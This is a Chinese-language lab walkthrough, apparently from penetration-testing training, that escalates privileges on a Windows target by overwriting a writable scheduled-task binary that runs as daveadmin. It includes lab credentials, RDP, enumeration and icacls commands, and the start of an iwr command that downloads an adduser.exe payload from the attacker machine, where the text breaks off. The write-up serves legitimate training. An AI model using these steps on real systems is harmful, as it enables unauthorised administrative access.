Windows Scheduled Tasks 提權
Windows Scheduled Tasks 提權 從排程任務中取得三個資訊對於識別可能的權限升級向量至關重要： - 該任務以哪個使用者帳戶（主體）執行？ - 為任務指定了哪些觸發器？ - 當滿足其中一個或多個觸發器時會執行哪些操作？ 靶機 IP 192.168.195.220，已知帳號密碼 steve / securityIsNotAnOption++++++ 透過取代指定為操作的二進位檔案來利用排程任務 CacheCleanup 。取得程式碼執行、互動式 shell 或以管理使用者身分存取 GUI，並在 daveadmin 桌面上找到 Flag。 第一步 RDP 進去 └─$ xfreerdp -v:192.168.195.220 -u:steve -p:securityIsNotAnOption++++++ 可以使用 Get-ScheduledTask 查看當前的任務 或是使用 schtasks /query /fo LIST /v 來查看也可以 一般滲透時要專注在作者(Author)、任務名稱、路徑(Task to Run)、下次執行時間(Next Run Time)這幾個比較有用的欄位 本練習有直接告知專注 CacheCleanup 任務如下 路徑 C:\Users\steve\Pictures\BackendCacheCleanup.exe Run As User : daveadmin 看起來約每分鐘會執行一次該 Task 在 GUI 的介面中也可以看到該 Task 如下圖 該任務是由 daveadmin 帳號執行，但是執行的檔案位於 steve 帳號的 Profile 底下，所以 steve 應該有權限可以修改該檔案，最簡單的方式就是 icacls 查看一下 指令 : icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe 結果顯示 (F) : FullControl，那就是直接替換檔案最快了 前幾節用到的 adduser.exe 直接拿來利用，一樣透過 iwr 從我們的攻擊機下載，存檔時直接使用預計替換的檔名 BackendCacheCleanup.exe iwr -Uri http://192.168.4...